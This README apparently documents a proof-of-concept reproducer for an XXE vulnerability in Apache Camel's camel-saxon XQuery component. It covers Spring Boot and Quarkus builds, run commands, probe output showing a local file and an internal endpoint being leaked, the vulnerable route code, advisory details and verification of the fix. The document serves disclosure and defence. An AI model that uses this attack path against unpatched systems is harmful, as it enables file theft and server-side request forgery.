
Runnable proof-of-concept reproducer for CVE-2026-90885, an XXE (CWE-611) in Apache Camel camel-saxon XQuery, with Spring Boot and Quarkus builds and fix verification.
Source was parsed with Saxon's defaults (XXE)Runnable proof-of-concept reproducer for the Apache Camel vulnerability where XQueryBuilder in
camel-saxon — which evaluates expressions for both the xquery language and the xquery
component — built its default Saxon Configuration with parse options carrying only a whitespace
stripping rule, leaving the XML parser at its defaults: a DOCTYPE declaration is accepted and external
entities are resolved.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Why 4.22.1 for Spring Boot: the fix was backported to
camel-4.22.xonly after 4.22.1 had been cut, so 4.22.1 is the last affected release of that line and 4.22.2 is the first fixed one. Pinning 4.22.1 makes that boundary the point of the reproducer.
String, byte[] and InputStream bodies are turned into a javax.xml.transform.Source by Camel's own
XML type converters, which configure the parser against external entities — those bodies were never
affected. A body that was already a Source was handed to Saxon unchanged, and a stream-based Source
still has to be parsed, so Saxon parsed it with that default Configuration.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Output on an affected build (identical on both runtimes):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
Probe 5 is the one that matters in practice. The sender posts plain XML text — the body shape that is
not affected, as probe 4 shows. The route then does convertBodyTo(Source.class) before the expression
runs, and that alone moves the body onto the affected path. No attacker-built Source, no unusual
component, no non-default option: one ordinary conversion step in the route is the whole precondition. The
advisory names this case explicitly, along with a component or processor earlier in the route setting the
body to a stream-based Source.
Probes 1–3 are the same flaw reached by handing the Source in directly, which is what a component earlier
in the route would do.
Nothing is misconfigured. No configuration option, no parser settings, and the expression reads nothing:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
The attacker controls only the XML document being evaluated against.
| Property | Value |
|---|---|
| Component | camel-saxon (XQueryBuilder, used by the xquery language and the xquery component) |
| CWE | CWE-611 (Improper Restriction of XML External Entity Reference) |
| Severity | High |
| Attack vector | A DOCTYPE with an external subset, or an external entity, in XML that reaches an XQuery expression as an already-built stream-based Source |
| Impact | Read files readable by the Camel process; make the process issue requests to hosts the document names |
| Affected Versions | From 4.0.0 before 4.18.5, from 4.19.0 before 4.22.2 (the code path predates 4.0 and was present in 2.x/3.x) |
| Fixed Versions | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Credit | Leon Zlobecki |
Advisory: https://camel.apache.org/security/CVE-2026-90885.html
Not the same issue as CVE-2026-85250, which concerned
documentType=InputSourceincamel-xpathand was fixed in 4.18.5, 4.22.1 and 4.23.0. Both are input paths that bypassed the default parser hardening, but they are different components and neither fix covers the other — in particular 4.22.1 resolves CVE-2026-85250 but not this issue.
XQueryBuilder now builds its default Configuration with parse options that enable
disallow-doctype-decl and disable external-general-entities, external-parameter-entities and
load-external-dtd, aligning a Source body with the hardened parser Camel's XmlConverter already
applied to String, byte[] and InputStream bodies.
The change is visible and is recorded in the 4.23 upgrade guide: a body that reaches XQuery as an
already-built Source and carries a DOCTYPE is now rejected with a parse error, while bodies without a
DOCTYPE are unaffected.
Only the default Configuration is hardened. One supplied through the configuration option of the
endpoint or language, or through XQueryBuilder.setConfiguration, is used as it is — so a deployment that
genuinely needs DOCTYPE or external entity processing can keep it, and a deployment that supplies its own
Configuration for any other reason has to apply the same parse options itself.
Fixed on main in apache/camel#26344
(9c23b686), backported to camel-4.22.x in #26728
(0d0ed8bb) and to camel-4.18.x in #26730 (ed513f3a).
Set camel.version to 4.22.2 (Spring Boot), or both platform versions to a Camel Quarkus release carrying
Camel 4.22.2 or later, and run it again. Verified against 4.22.1 → 4.22.2:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same
Requests the XML parser made to internal endpoints on its own: []
>>> NOT reproduced: external access was denied.